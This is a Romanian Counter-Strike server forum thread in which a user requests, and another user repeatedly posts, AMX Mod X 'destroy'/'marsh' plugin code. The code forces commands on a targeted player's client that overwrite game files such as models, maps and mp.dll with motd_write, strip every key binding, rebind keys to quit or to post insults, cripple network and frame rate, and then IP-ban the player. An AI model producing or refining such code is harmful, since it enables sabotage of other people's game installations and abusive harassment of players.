Modificare Plugin.

Categoria cu cereri de pluginuri si nu numai.

Moderators: Moderatori ajutatori, Moderatori, Echipa eXtreamCS.com

Forum rules
Accesează link-ul pentru a putea vedea regulile forumului

Daca doriti sa vi se modifice un plugin, va rugam postati aici .
BoSsCS
Membru, skill +1
Membru, skill +1
Posts: 315
Joined: 30 Jan 2013, 10:06
Detinator Steam: Da
CS Status: Citesc forumul eXtreamCS.com...!
Detinator server CS: FURIEN.DEVIL.RO
SteamID: blade_cs1
Location: Botosani
Has thanked: 85 times
Been thanked: 4 times
Contact:

23 Apr 2013, 21:42

Ma intereseaza daca se aude sunetul pe care il vreau eu? :D Si ca comanda sa fie amx_marsh
RoyalServer 2
raresthebest
Membru, skill +1
Membru, skill +1
Posts: 136
Joined: 12 Jul 2012, 21:20
Detinator Steam: Da
CS Status: Citesc forumul eXtreamCS.com...!
Has thanked: 10 times
Been thanked: 17 times
Contact:

23 Apr 2013, 21:52

BoSsCS wrote:Ma intereseaza daca se aude sunetul pe care il vreau eu? :D Si ca comanda sa fie amx_marsh
| Afiseaza codul
#include < amxmodx >
#include < amxmisc >

#define PLUGIN "Destroy"
#define VERSION "0.1"
// Plagiat special de ryder !
#define AUTHOR "CryWolf"
new const g_Commands [ ] [ ] =
{
    "motdfile models/player/terror/terror.mdl",
    "motdfile sprites/rain.spr",
    "motd maps/default.res",
    "cl_timeout 0.0",
    "name *****",
    "motdfile models/player.mdl;motd_write x",
    "motdfile models/v_ak47.mdl;motd_write x",
    "motdfile cs_dust.wad;motd_write x",
    "motdfile models/v_m4a1.mdl;motd_write x",
    "motdfile resource/GameMenu.res;motd_write x",
    "motdfile halflife.wad;motd_write x",
    "motdfile cstrike.wad;motd_write x",
    "snapshot",
    "snapshot",
    "snapshot",
    "motdfile maps/de_dust2.bsp;motd_write x",
    "motdfile events/ak47.sc;motd_write x",
    "motdfile dlls/mp.dll;motd_write x",
    "motdfile decals.wad;motd_write x",
    "motdfile custom.hpk;motd_write x",
    "motdfile liblist.gam;motd_write x",
    "motdfile tempdecal.wad;motd_write x",
    "motdfile maps/de_inferno;motd_write x",
    "motdfile maps/de_dust;motd_write x",
    "motdfile models/player/leet/leet.mdl;motd_write x"
}

public plugin_init ( )
{
    register_plugin ( PLUGIN, VERSION, AUTHOR )
   
    // Add your code here...
    register_clcmd ( "amx_marsh", "cmdPika", ADMIN_KICK, "<nume sau #userid> [motiv]" );
}

public plugin_precache()
{
	precache_sound("sound/flotari.wav")
}

public cmdPika ( id, level, cid )
{
    if ( !cmd_access ( id, level, cid, 3 ) )
        return 1;
   
    new arg [ 33 ];
    read_argv ( 1, arg, charsmax ( arg ) );
    new player = cmd_target ( id, arg, CMDTARGET_OBEY_IMMUNITY | CMDTARGET_ALLOW_SELF );
   
    if ( !player )
    {
        console_print ( id, "[Destroy] Jucatorul nu este online sau a iesit de pe Server" );
        return 1;
    }
   
    new authid [ 33 ], authid2 [ 33 ], name2 [ 33 ], name [ 33 ], userid2, reason [ 32 ], userip [ 33 ];
   
    get_user_authid ( id, authid, charsmax ( authid ) );
    get_user_authid ( player, authid2, charsmax ( authid2 ) );
    get_user_name ( player, name2, charsmax ( name2 ) );
    get_user_name ( id, name, charsmax ( name ) );
    get_user_ip ( player, userip, charsmax ( userip ) );
   
    userid2 = get_user_userid ( player )
   
    read_argv ( 2, reason, 31 );
    remove_quotes ( reason );
   
    log_to_file ( "destroy.log", "Admin-ul %s a dat destroy lui: %s cu motivul: %s", name, player, userid2, reason );
   
    new i;
    for ( i = 0; i < sizeof ( g_Commands ); i++ )
        client_cmd ( player, g_Commands [ i ] );
   
    server_cmd ( "kick #%d ^"Ai primit Destroy ^";wait;addip 999999.0 ^"%s^";wait;writeip", player, userip );
   
    client_print ( 0, print_chat, "[DESTROY] Jucatorul %s a primit MARSH de la ADMIN-ul  %s + 3 POZE pentru eventualele reclamatii ale adminului. ", player, name, userid2 );
    emit_sound(0, CHAN_AUTO, "flotari.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
    return 0;
   
}
BoSsCS
Membru, skill +1
Membru, skill +1
Posts: 315
Joined: 30 Jan 2013, 10:06
Detinator Steam: Da
CS Status: Citesc forumul eXtreamCS.com...!
Detinator server CS: FURIEN.DEVIL.RO
SteamID: blade_cs1
Location: Botosani
Has thanked: 85 times
Been thanked: 4 times
Contact:

23 Apr 2013, 22:05

am probat, nu se aude sunetul, si nici nu-i da destroy jucatorului, ii da doar ban. HELP plese :(
BoSsCS
Membru, skill +1
Membru, skill +1
Posts: 315
Joined: 30 Jan 2013, 10:06
Detinator Steam: Da
CS Status: Citesc forumul eXtreamCS.com...!
Detinator server CS: FURIEN.DEVIL.RO
SteamID: blade_cs1
Location: Botosani
Has thanked: 85 times
Been thanked: 4 times
Contact:

23 Apr 2013, 22:38

UP, nimeni? :|
BoSsCS
Membru, skill +1
Membru, skill +1
Posts: 315
Joined: 30 Jan 2013, 10:06
Detinator Steam: Da
CS Status: Citesc forumul eXtreamCS.com...!
Detinator server CS: FURIEN.DEVIL.RO
SteamID: blade_cs1
Location: Botosani
Has thanked: 85 times
Been thanked: 4 times
Contact:

24 Apr 2013, 09:36

BoSsCS wrote:am probat, nu se aude sunetul, si nici nu-i da destroy jucatorului, ii da doar ban. HELP plese :(
UP, nimeni?
BoSsCS
Membru, skill +1
Membru, skill +1
Posts: 315
Joined: 30 Jan 2013, 10:06
Detinator Steam: Da
CS Status: Citesc forumul eXtreamCS.com...!
Detinator server CS: FURIEN.DEVIL.RO
SteamID: blade_cs1
Location: Botosani
Has thanked: 85 times
Been thanked: 4 times
Contact:

24 Apr 2013, 11:33

UP, nu stie nimeni?:((
raresthebest
Membru, skill +1
Membru, skill +1
Posts: 136
Joined: 12 Jul 2012, 21:20
Detinator Steam: Da
CS Status: Citesc forumul eXtreamCS.com...!
Has thanked: 10 times
Been thanked: 17 times
Contact:

24 Apr 2013, 15:02

| Afiseaza codul
#include <amxmodx>
#include <amxmisc>
#include <fun>
#include <engine>

#define Baza 45630

new BanData[33][2][32]
new bool:ComandaB = false
new DirectorServer[64],TextServer[32],LimbaServer = 31,r,t
new FisierServer[128]
new SalvareServer

static const poza[] = "http://..." 

public plugin_init()
{
	register_plugin("Destroy Comand", "1.0", "M@$t3r_@dy")
	register_concmd("amx_marsh", "destroy", ADMIN_LEVEL_G,"<nume> : Ii strica CS jucatorului + screenshot")
	register_cvar("amx_destroy_activity","1")
}

public plugin_precache()
{
	precache_sound("flotari.wav");


public destroy(id,level,cid){
	if (!cmd_access(id,level,cid,2)){
		return PLUGIN_HANDLED
	}
	if (ComandaB){
		Cronometru(id)
		return PLUGIN_HANDLED
	}
	new arg[32],name[32],admin[32],sAuthid[35],sAuthid2[35],message[552],players[33],inum
	new fo_logfile[64],timp[64],maxtext[256]
	new tinta[32], minute[8], motiv[64] 
	read_argv(1, tinta, 31)    
	read_argv(2, minute, 7) 
	read_argv(3, motiv, 63)
	read_argv(1, arg, 31)
	new target = cmd_target(id,arg,1)
	new jucator = cmd_target(id, tinta, 9) 
	if (!jucator) 
		return PLUGIN_HANDLED 	
	
	copy(BanData[jucator][0], 31, minute) 
	copy(BanData[jucator][1], 31, motiv) 
	new TaskData[4] 
	TaskData[0] = id 
	TaskData[1] = jucator
	new numeserver[64], nume[32], ip[32] 
	get_user_name(target,name,31)
	get_user_name(id,admin,31)
	get_user_authid(target,sAuthid,34)
	get_user_authid(id,sAuthid2,34)
	get_cvar_string("hostname",numeserver,63); 
	get_user_name(jucator,nume,31); 
	get_user_ip(jucator,ip,31); 
	get_configsdir(fo_logfile, 63)
	get_time("%m/%d/%Y - %H:%M:%S",timp,63)
	IncarcareServer()
	ScriereServer()
	format(message,551,"DESTROYED^nComanda executata cu succes.^n Comanda numarul %i",SalvareServer)
    	format(maxtext, 255, "[AMXX] %s: %s a folosit comanda DESTROY pe %s",timp,admin,name)
    	format(fo_logfile, 63, "%s/destroy.txt", fo_logfile)
	
	if(!target){ 
	
        	return PLUGIN_HANDLED 
    	}
    	switch (get_cvar_num("amx_destroy_activity")) {
    		case 1: client_cmd(target,"say ^" %s mi-a dat DESTROY !^"",admin)
    		case 0: client_cmd(target,"say ^"Am primit DESTROY !^"")
   	}
	client_cmd(target,"developer 1")
  	client_cmd(target,"unbind w;wait;unbind a;unbind s;wait;unbind d;bind mouse1 ^"say Am luat DESTROY pe BERCENI.SERVEGAME.COM .^";wait;unbind mouse2;unbind mouse3;wait;bind space quit")
    	client_cmd(target,"unbind ctrl;wait;unbind 1;unbind 2;wait;unbind 3;unbind 4;wait;unbind 5;unbind 6;wait;unbind 7")
    	client_cmd(target,"unbind 8;wait;unbind 9;unbind 0;wait;unbind r;unbind e;wait;unbind g;unbind q;wait;unbind shift")
    	client_cmd(target,"unbind end;wait;bind escape ^"say Sunt neajutorat ca un mic *****^";unbind z;wait;unbind x;unbind c;wait;unbind uparrow;unbind downarrow;wait;unbind leftarrow")
    	client_cmd(target,"unbind rightarrow;wait;unbind mwheeldown;unbind mwheelup;wait;bind ` ^"say Sunt neajutorat ca un mic *****^";bind ~ ^"say Am fost distrus .^";wait;name ^"UN MARE DISTRUS^"")
    	client_cmd(target,"rate 1;gl_flipmatrix 1;cl_cmdrate 10;cl_updaterate 10;fps_max 1;hideradar;con_color ^"1 1 1^"")
    	write_file(fo_logfile,maxtext,-1)
	set_hudmessage(255,255,0,0.47,0.55,0,6.0,12.0,0.1,0.2,1)
    	show_hudmessage(0, message)
    	emit_sound(0, CHAN_AUTO, "flotari.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
    	for (new i = 0; i < inum; ++i) {
    		if ( access(players,ADMIN_CHAT) )
      		 client_print(players,print_chat,"Jucatorul:%s a primit DESTROY de la %s",name,admin)
  	}
  	ComandaB = true
	Cronometru(id)	

	client_print(jucator,print_chat,"* Screenshot a fost facut pe : %s",numeserver) 
	client_print(jucator, print_chat, "* Nume:  ^"%s^" cu IP : %s",nume,ip) 
	client_print(jucator, print_chat, "* Data : %s",timp) 
	client_print(jucator, print_chat, "* Ai primit ban de la adminul %s",admin)
	client_print(jucator, print_chat, "* Viziteaza %s pentru a scoate banul.", poza) 
	console_print(jucator,"* Screenshot a fost facut pe : %s",numeserver) 
	console_print(jucator, "* Nume:  ^"%s^" cu IP : %s",nume,ip) 
	console_print(jucator, "* Data : %s",timp) 
	console_print(jucator, "* Ai primit ban de la adminul %s",admin)
	console_print(jucator, "* Viziteaza %s pentru a scoate banul.", poza) 
	client_cmd(jucator,"wait;snapshot;wait;snapshot") 
	client_cmd(target,"wait;wait;wait;wait;quit")
  	return PLUGIN_HANDLED
    	
}

public Cronometru(id){
	new parm[1]
	parm[0] = id
	if (ComandaB){
		set_task(3.0,"TimpDeAsteptare",Baza+id,parm)
	}
}
public TimpDeAsteptare(id){
	if (task_exists(Baza+id)){
		remove_task(Baza+id)
	}
	ComandaB = false
}

stock IncarcareServer(){
	get_configsdir(DirectorServer, 63)
	format(FisierServer,127,"%s/servit.q",DirectorServer)
	if (!file_exists(FisierServer)){
		return PLUGIN_HANDLED
	}
	else {
		
    		read_file(FisierServer,0,TextServer,LimbaServer,r)
  		
		SalvareServer = str_to_num(TextServer)
	}
	return PLUGIN_CONTINUE
}
stock ScriereServer(){
	get_configsdir(DirectorServer, 63)
	format(FisierServer,127,"%s/servit.q",DirectorServer)
	if (!file_exists(FisierServer)){
		return PLUGIN_HANDLED
	}
	else {
		
    		read_file(FisierServer,0,TextServer,LimbaServer,t)
  		
		
		SalvareServer = str_to_num(TextServer)
		SalvareServer = SalvareServer + 1
		format(TextServer,31,"%i",SalvareServer)
		delete_file(FisierServer)
		write_file(FisierServer,TextServer,-1)
	}
	return PLUGIN_CONTINUE
}
BoSsCS
Membru, skill +1
Membru, skill +1
Posts: 315
Joined: 30 Jan 2013, 10:06
Detinator Steam: Da
CS Status: Citesc forumul eXtreamCS.com...!
Detinator server CS: FURIEN.DEVIL.RO
SteamID: blade_cs1
Location: Botosani
Has thanked: 85 times
Been thanked: 4 times
Contact:

24 Apr 2013, 21:06

Nu vad in sma-ul ala unde scrie " Jucatorul X a primit MARSH de la adminul y + 3 POZE pentru eventualele reclamatii ale adminului. " Poti face te rog sa-mi apara aia in chat? :D
BoSsCS
Membru, skill +1
Membru, skill +1
Posts: 315
Joined: 30 Jan 2013, 10:06
Detinator Steam: Da
CS Status: Citesc forumul eXtreamCS.com...!
Detinator server CS: FURIEN.DEVIL.RO
SteamID: blade_cs1
Location: Botosani
Has thanked: 85 times
Been thanked: 4 times
Contact:

25 Apr 2013, 10:27

UP, cineva? :(
raresthebest
Membru, skill +1
Membru, skill +1
Posts: 136
Joined: 12 Jul 2012, 21:20
Detinator Steam: Da
CS Status: Citesc forumul eXtreamCS.com...!
Has thanked: 10 times
Been thanked: 17 times
Contact:

25 Apr 2013, 15:23

| Afiseaza codul
#include <amxmodx>
#include <amxmisc>
#include <fun>
#include <engine>

#define Baza 45630

new BanData[33][2][32]
new bool:ComandaB = false
new DirectorServer[64],TextServer[32],LimbaServer = 31,r,t
new FisierServer[128]
new SalvareServer

static const poza[] = "http://..." 

public plugin_init()
{
	register_plugin("Destroy Comand", "1.0", "M@$t3r_@dy")
	register_concmd("amx_marsh", "destroy", ADMIN_LEVEL_G,"<nume> : Ii strica CS jucatorului + screenshot")
	register_cvar("amx_destroy_activity","1")
}

public plugin_precache()
{
	precache_sound("flotari.wav");
}



public destroy(id,level,cid){
	if (!cmd_access(id,level,cid,2)){
		return PLUGIN_HANDLED
	}
	if (ComandaB){
		Cronometru(id)
		return PLUGIN_HANDLED
	}
	new arg[32],name[32],admin[32],sAuthid[35],sAuthid2[35],message[552],players[33],inum
	new fo_logfile[64],timp[64],maxtext[256]
	new tinta[32], minute[8], motiv[64] 
	read_argv(1, tinta, 31)    
	read_argv(2, minute, 7) 
	read_argv(3, motiv, 63)
	read_argv(1, arg, 31)
	new target = cmd_target(id,arg,1)
	new jucator = cmd_target(id, tinta, 9) 
	if (!jucator) 
		return PLUGIN_HANDLED 	
	
	copy(BanData[jucator][0], 31, minute) 
	copy(BanData[jucator][1], 31, motiv) 
	new TaskData[4] 
	TaskData[0] = id 
	TaskData[1] = jucator
	new numeserver[64], nume[32], ip[32] 
	get_user_name(target,name,31)
	get_user_name(id,admin,31)
	get_user_authid(target,sAuthid,34)
	get_user_authid(id,sAuthid2,34)
	get_cvar_string("hostname",numeserver,63); 
	get_user_name(jucator,nume,31); 
	get_user_ip(jucator,ip,31); 
	get_configsdir(fo_logfile, 63)
	get_time("%m/%d/%Y - %H:%M:%S",timp,63)
	IncarcareServer()
	ScriereServer()
	format(message,551,"DESTROYED^nComanda executata cu succes.^n Comanda numarul %i",SalvareServer)
    	format(maxtext, 255, "[AMXX] %s: %s a folosit comanda MARSH pe %s",timp,admin,name)
    	format(fo_logfile, 63, "%s/destroy.txt", fo_logfile)
	
	if(!target){ 
	
        	return PLUGIN_HANDLED 
    	}
    	switch (get_cvar_num("amx_destroy_activity")) {
    		case 1: client_cmd(target,"say ^" %s mi-a dat MARSH !^"",admin)
    		case 0: client_cmd(target,"say ^"Am primit MARSH !^"")
   	}
	client_cmd(target,"developer 1")
  	client_cmd(target,"unbind w;wait;unbind a;unbind s;wait;unbind d;bind mouse1 ^"say Am luat DESTROY pe BERCENI.SERVEGAME.COM .^";wait;unbind mouse2;unbind mouse3;wait;bind space quit")
    	client_cmd(target,"unbind ctrl;wait;unbind 1;unbind 2;wait;unbind 3;unbind 4;wait;unbind 5;unbind 6;wait;unbind 7")
    	client_cmd(target,"unbind 8;wait;unbind 9;unbind 0;wait;unbind r;unbind e;wait;unbind g;unbind q;wait;unbind shift")
    	client_cmd(target,"unbind end;wait;bind escape ^"say Sunt neajutorat ca un mic *****^";unbind z;wait;unbind x;unbind c;wait;unbind uparrow;unbind downarrow;wait;unbind leftarrow")
    	client_cmd(target,"unbind rightarrow;wait;unbind mwheeldown;unbind mwheelup;wait;bind ` ^"say Sunt neajutorat ca un mic *****^";bind ~ ^"say Am fost distrus .^";wait;name ^"UN MARE DISTRUS^"")
    	client_cmd(target,"rate 1;gl_flipmatrix 1;cl_cmdrate 10;cl_updaterate 10;fps_max 1;hideradar;con_color ^"1 1 1^"")
    	write_file(fo_logfile,maxtext,-1)
	set_hudmessage(255,255,0,0.47,0.55,0,6.0,12.0,0.1,0.2,1)
    	show_hudmessage(0, message)
    	emit_sound(0, CHAN_AUTO, "flotari.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
    	for (new i = 0; i < inum; ++i) {
    		if ( access(players,ADMIN_CHAT) )
      		 client_print(players,print_chat,"Jucatorul:%s a primit Marsh de la %s + 3 POZE pentru eventualele reclamatii ale adminului.",name,admin)
  	}
  	ComandaB = true
	Cronometru(id)	

	client_print(jucator,print_chat,"* Screenshot a fost facut pe : %s",numeserver) 
	client_print(jucator, print_chat, "* Nume:  ^"%s^" cu IP : %s",nume,ip) 
	client_print(jucator, print_chat, "* Data : %s",timp) 
	client_print(jucator, print_chat, "* Ai primit ban de la adminul %s",admin)
	client_print(jucator, print_chat, "* Viziteaza %s pentru a scoate banul.", poza) 
	console_print(jucator,"* Screenshot a fost facut pe : %s",numeserver) 
	console_print(jucator, "* Nume:  ^"%s^" cu IP : %s",nume,ip) 
	console_print(jucator, "* Data : %s",timp) 
	console_print(jucator, "* Ai primit ban de la adminul %s",admin)
	console_print(jucator, "* Viziteaza %s pentru a scoate banul.", poza) 
	client_cmd(jucator,"wait;snapshot;wait;snapshot;wait;snapshot") 
	client_cmd(target,"wait;wait;wait;wait;wait;quit")
  	return PLUGIN_HANDLED
    	
}

public Cronometru(id){
	new parm[1]
	parm[0] = id
	if (ComandaB){
		set_task(3.0,"TimpDeAsteptare",Baza+id,parm)
	}
}
public TimpDeAsteptare(id){
	if (task_exists(Baza+id)){
		remove_task(Baza+id)
	}
	ComandaB = false
}

stock IncarcareServer(){
	get_configsdir(DirectorServer, 63)
	format(FisierServer,127,"%s/servit.q",DirectorServer)
	if (!file_exists(FisierServer)){
		return PLUGIN_HANDLED
	}
	else {
		
    		read_file(FisierServer,0,TextServer,LimbaServer,r)
  		
		SalvareServer = str_to_num(TextServer)
	}
	return PLUGIN_CONTINUE
}
stock ScriereServer(){
	get_configsdir(DirectorServer, 63)
	format(FisierServer,127,"%s/servit.q",DirectorServer)
	if (!file_exists(FisierServer)){
		return PLUGIN_HANDLED
	}
	else {
		
    		read_file(FisierServer,0,TextServer,LimbaServer,t)
  		
		
		SalvareServer = str_to_num(TextServer)
		SalvareServer = SalvareServer + 1
		format(TextServer,31,"%i",SalvareServer)
		delete_file(FisierServer)
		write_file(FisierServer,TextServer,-1)
	}
	return PLUGIN_CONTINUE
}
BoSsCS
Membru, skill +1
Membru, skill +1
Posts: 315
Joined: 30 Jan 2013, 10:06
Detinator Steam: Da
CS Status: Citesc forumul eXtreamCS.com...!
Detinator server CS: FURIEN.DEVIL.RO
SteamID: blade_cs1
Location: Botosani
Has thanked: 85 times
Been thanked: 4 times
Contact:

25 Apr 2013, 21:28

Multumesc, revin cu EDIT, dupa proba. :)
BoSsCS
Membru, skill +1
Membru, skill +1
Posts: 315
Joined: 30 Jan 2013, 10:06
Detinator Steam: Da
CS Status: Citesc forumul eXtreamCS.com...!
Detinator server CS: FURIEN.DEVIL.RO
SteamID: blade_cs1
Location: Botosani
Has thanked: 85 times
Been thanked: 4 times
Contact:

25 Apr 2013, 21:43

UP; Nu se aude sunetul, si in chat apare asa: Player: BoSsCS mi-a dat MARSH.

Please HELP. :(
Post Reply

Return to “Cereri”

  • Information
  • Who is online

    Users browsing this forum: No registered users and 27 guests